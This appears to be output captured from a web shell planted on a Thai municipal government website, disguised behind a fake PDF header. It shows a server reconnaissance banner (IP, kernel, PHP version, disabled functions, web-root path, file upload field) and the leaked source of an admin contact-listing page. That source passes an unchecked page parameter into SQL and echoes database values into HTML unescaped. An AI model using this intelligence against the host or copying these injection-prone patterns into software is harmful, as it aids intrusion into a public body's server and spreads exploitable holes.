%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/thungkhana/domains/thungkhanan.go.th/public_html/contacts/ |
Upload File : |
<?
session_start();
Header("Content-Type: text/html; charset=UTF-8");
if($_SESSION[user]=="")
{
session_destroy();
$message = "กรุณา Login ก่อน.";
$url = "../admin/index.php";
include("../admin/alert.php");
exit;
}
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<link href="Hoverable.css" rel="stylesheet" type="text/css" />
<link href="../css/Hover Buttons.css" rel="stylesheet" type="text/css"/><!--css เมนูหัวเว็บ -->
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<style type="text/css">
<!--
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color: #4A852E;
}
-->
</style>
<style type="text/css">
<!--
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
.style6 {color: #000000}
.style9 {
font-size: 20px;
font-weight: bold;
color: #FFFFFF;
}
-->
</style></head>
<body background="../images/0bg1.png" style="background-repeat:no-repeat; background-position:top">
<!--<div id="mySidenav" class="sidenav">
<a href="http://new.huayyai.go.th/index.php" id="about"> <br > </a>
<a href="http://new.huayyai.go.th/news.php?cat_id=1" id="blog"> <br > </a>
<a href="http://new.huayyai.go.th/news.php?cat_id=4" id="projects"> <br > </a>
<a href="http://new.huayyai.go.th/albums/index.php" id="contact"> <br > </a>
</div> -->
<!-- content -->
<div align="center">
<table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td height="650" align="center" valign="top"> </td>
</tr>
<tr>
<td align="center" valign="top">
<table width="1000" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/index.php"><img src="../images/menu-top_01.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/news.php?cat_id=31" target="_blank"><img src="../images/menu-top_02.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/albums/index.php" target="_blank"><img src="../images/menu-top_03.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div>
<figure><a href="http://www.thungkhanan.go.th/office.php"><img src="../images/menu-top_04.png" border="0" /></a></figure>
</div> </td>
<td align="center" valign="top">
<div class="hover13 column">
<div></div> </td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th align="center" valign="top" scope="col"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th align="center" valign="top" scope="col">
<table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th height="5" align="center" valign="top" scope="col"> </th>
</tr>
<tr>
<td align="center" valign="top">
<table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<th valign="top" scope="col"><div align="center">
<table width="90%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr><td height="5" valign="top"> <a name="top_page"></a></td>
</tr>
<tr>
<td><div align="center"><img src="../images/botton/contacts.png" width="640" height="78" /></div></td>
</tr>
<tr>
<td><div align="right"><a href="../admin/main.php">หน้า Admin </a> | <a href="../admin/signout.php">ออกจากระบบ </a></div></td>
</tr>
</table>
</div></th>
</tr>
<tr>
<td valign="top">
<div id="main">
<div align="center"><? echo "<font size='3'><b> หน้าหลัก </b></font>"; ?><a name="top_page"></a></div>
<div style="position: relative; left: 5px; top: 10px; width: 955px; border: 1px solid #e5e5e5;" class="magnifyarea">
<table border="0" cellpadding="1" cellspacing="0" align="center" width="100%">
<tr>
<td valign="top">
<?
$sh_order = $_GET["sh_order"];
if(isset($sh_order)){$sp_order = $sh_order;}else{$sp_order = 0;}
if($sh_order==1){$sh_order=0;}else{$sh_order=1;}
?>
<table width="100%" align="center" cellspacing="0" cellpadding="0" border="0" >
<tr bgcolor="#a3afb9">
<td width="10%"> </td>
<td width="5%" align="center"><a href="admin.php?sd=1&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">ID</a> </td>
<td width="15%"><font class="linktextblack">หมวดหมู่</font></a> </td>
<td width="20%"><a href="add_albums.php?sd=2&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">เรื่อง</a> </td>
<td width="15%"><a href="admin.php?sd=3&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">ชื่อ</a> </td>
<td width="15%"><a href="admin.php?sd=4&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">อีเมล์</a> </td>
<!--
<td width="10%" align="center"><a href="admin.php?sd=5&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">โทรศัพท์</a>
</td>
-->
<td width="10%" align="center"><a href="admin.php?sd=6&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">วันที่ถาม</a> </td>
<!--<td width="5%" align="center"><a href="admin.php?sd=7&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">ตอบแล้ว</a>
</td>-->
<td width="10%" align="center"><a href="admin.php?sd=8&sh_order=<?=$sh_order;?>&scon_id=<?=$scon_id;?>#top_page" target="_parent" class="linktextblack">วันที่ตอบ</a> </td>
</tr>
</table> </td>
</tr>
<tr>
<td valign="top">
<table width="100%" border="0" align="center" cellspacing="0" cellpadding="0" >
<?
$sql = "select * From `contact_admin_detail` where 1 ";
$sd = trim($_GET["sd"]);
switch ($sd) {
case '1': $sql .= "Order by `id` "; break;
case '2': $sql .= "Order by `con_title` "; break;
case '3': $sql .= "Order by `con_name` "; break;
case '4': $sql .= "Order by `con_email` "; break;
case '5': $sql .= "Order by `con_phone` "; break;
case '6': $sql .= "Order by `con_date` "; break;
case '7': $sql .= "Order by `con_send` "; break;
case '8': $sql .= "Order by `con_send_date` "; break;
default : $sql .= "Order by `con_id` ";
}
if($sh_order==1){$sql .= "DESC ";}else {$sql .= "ASC ";}
$item = 0;
$Per_Page = 10;
if(!$_GET['Page'])
{
$Page=1;
}else
{
$Page = $_GET['Page'];
}
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_start = ($Per_Page*$Page)-$Per_Page;
$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `contact_admin_detail` where 1 ";
$dbquery = mysql_query($sql_2);
$Num_Rows = mysql_num_rows($dbquery);
if($Num_Rows>0){
$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
}
mysql_free_result($dbquery);
unset($dbquery);
if($Num_Rows<=$Per_Page)
$Num_Pages =1;
else if(($Num_Rows % $Per_Page)==0)
$Num_Pages =($Num_Rows/$Per_Page) ;
else
$Num_Pages =($Num_Rows/$Per_Page) +1;
$Num_Pages = (int)$Num_Pages;
if(($Page>$Num_Pages) || ($Page<0))
print "<center><b>ยังไม่มีข้อมูล<b></center>";
$sql .= "LIMIT $Page_start , $Per_Page";
//ส่วนแสดงผล
$result = mysql_query($sql);
$item = ($Page-1) * $Per_Page;
While($row= mysql_fetch_assoc($result)){
$item = $item + 1;
$c_id = $row["id"];
$c_con_id = $row["con_id"];
$c_con_name = $row["con_name"];
$c_con_email = $row["con_email"];
$c_con_phone = $row["con_phone"];
$c_con_title = $row["con_title"];
$c_con_date = $row["con_date"];
$c_con_send = $row["con_send"];
$c_con_send_date = $row["con_send_date"];
if(substr($c_con_send_date,0,2)=="00")
{
$c_con_send_date = "";
}
$c_con_send_answer = "NO";
if($c_con_send>0)
{
$c_con_send_answer = "<font color='#ff0000'>YES</font>";
}
$c_con_category = "";
$sql_m = "select * from `contact_admin` where (`id`='$c_con_id') ";
$result_m = mysql_query($sql_m);
$num_rows_m = mysql_num_rows($result_m);
if($num_rows_m>0){
$c_con_category = mysql_result($result_m, 0,"con_category");
}
mysql_free_result($result_m);
unset($result_m);
$bcolor = "#ffffff";
if(($item %2)==0){
$bcolor = "#e5e5e5";
}
if(!empty($c_con_send_date))
{
$bcolor = "#99ccff";
}
$code_1 = $c_con_title." : ".$c_con_name;
?>
<tr><td height="10" colspan="9"></td></tr>
<tr bgcolor="<?=$bcolor;?>">
<td width="5%"align="center">
<?
echo "<a href='del_data.php?c_id=$c_id&chk_p=1&c_thumb=$c_thumb&code_id=$scon_id&code_1=$code_1#toppage'>ลบ</a>";
?> </td>
<td width="5%" align="center">
<? echo "<a href='view.php?c_id=$c_id#toppage' title='ดูข้อมูล'>ดูข้อมูล</a>";?> </td>
<td width="5%" align="center">
<?= $c_id;?> </td>
<td width="15%">
<?= $c_con_category;?> </td>
<td width="20%">
<? echo "<a href='view.php?c_id=$c_id#toppage' title='".$c_con_title."'>".$c_con_title."</a>";?> </td>
<td width="15%">
<?= $c_con_name;?> </td>
<td width="15%">
<?= $c_con_email;?> </td>
<!--
<td width="10%">
<?//= $c_con_phone;?>
</td>
-->
<td width="10%" align="center">
<?= $c_con_date;?> </td>
<!--
<td width="5%" align="center">
<?//= $c_con_send_answer;?>
</td>
-->
<td width="10%" align="center">
<?= $c_con_send_date;?> </td>
</tr>
<?}?>
</table>
<hr align="center" width="100%" noshade size="1">
<div align="center"><br><font size="2">
จำนวนรายการ :
<?= $Num_Rows;?>
,หน้าทั้งหมด : <b>
<?=$Num_Pages;?>
</b> ,หน้า :
<?
$PHP_SELF = $_SERVER['PHP_SELF'];
if($Prev_Page)
echo " <a href='$PHP_SELF?Page=$Prev_Page&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'><<ย้อนกลับ</a> ";
$Show_Page = 10;
$s1 = $Page - $Show_Page;
if($s1 <= 0 ){$s1 = 1;}
$s2 = $Page + $Show_Page;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
if($s1 == 1 ){
$s2 = $Show_Page+10;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
}
if(($s2 == $Num_Pages) &&($s1 != 1)){
$s1 = $Num_Pages-20;
if($s1 <= 0 ){$s1 = 1;}
}
for($i=$s1; $i<=$s2; $i++)
{
if($i != $Page)
{
echo "[<a href='$PHP_SELF?Page=$i&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$i</a>]";
}
else
{
echo "<b> $i </b>";
}
}
if($Num_Pages>($i-1))
{
if($Num_Pages>($i+1))
{
$bNum_Pages = $Num_Pages - 1;
echo "...[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$bNum_Pages</a>]";
}else if($Num_Pages==($i+1))
{
$bNum_Pages = $i;
echo "[<a href ='$PHP_SELF?Page=$bNum_Pages&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$bNum_Pages</a>]";
}
echo "[<a href ='$PHP_SELF?Page=$Num_Pages&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>$Num_Pages</a>]";
}
if($Page!=$Num_Pages)
echo " <a href ='$PHP_SELF?Page=$Next_Page&sd=$sd&sh_order=$sp_order&scon_id=$scon_id#top_page'>ถัดไป>></a> ";
mysql_free_result($result);
unset($result);
unset($dbquery);
include("../include/close_db.php");
?>
</font></div> </td>
</tr>
</table>
</div>
</div> </td>
</tr>
<tr>
<td valign="top"> </td>
</tr>
</table> </td>
</tr>
</table> </th>
</tr>
</table></th>
</tr>
</table></td>
</tr>
<tr>
<td align="center" valign="top"><table width="980" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center" valign="top" style="background-repeat:no-repeat"><div align="right"></div></td>
</tr>
</table></td>
</tr>
</table>
</th>
</tr>
</table>
<span style="background-repeat:no-repeat"><img src="../images/foot.png" /></span></div>
<!-- end_content -->
<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"><img src="../images/up.png" border="0" /></a></td>
</tr>
</body>
</html>